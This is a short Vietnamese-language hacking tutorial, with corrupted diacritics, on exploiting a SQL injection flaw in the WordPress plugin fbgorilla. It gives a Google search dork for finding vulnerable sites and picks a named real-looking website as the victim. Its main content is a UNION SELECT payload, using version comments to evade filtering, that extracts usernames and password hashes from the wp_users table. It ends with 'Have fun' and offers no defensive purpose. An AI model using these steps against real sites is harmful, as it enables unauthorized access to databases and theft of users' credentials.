Khai th�c l?i SQli tr�n plugin fbgorilla c?a wordpress

- V�o google search v?i t? kh�a

inurl:wp-content/plugins/fbgorilla/game_play.php?id=

- Ch?n 1 victim. ? ��y m?nh tr?n link sau:

http://fansofsuperheros.com/wp-content/plugins/fbgorilla/game_play.php?id=49&pid=657538357599693&t=1385539112

- X�a  &pid=657538357599693&t=1385539112 ? link �i ch? �? l?i �?n ch? id=49. Ta ��?c link nh� sau

http://fansofsuperheros.com/wp-content/plugins/fbgorilla/game_play.php?id=49

- Th�m �o?n sau v�o link

and 4=1 /*!50000UNION*/ /*!50000SELECT*/ 1,2,/*!50000group_Concat(user_login,0x2f,user_pass)*/,4,5,6,7,8,9,10,11,12,13 from wp_users--

- V� ��y l� k?t qu?

Have fun. Ai lech ghi d�m c�i ngu?n.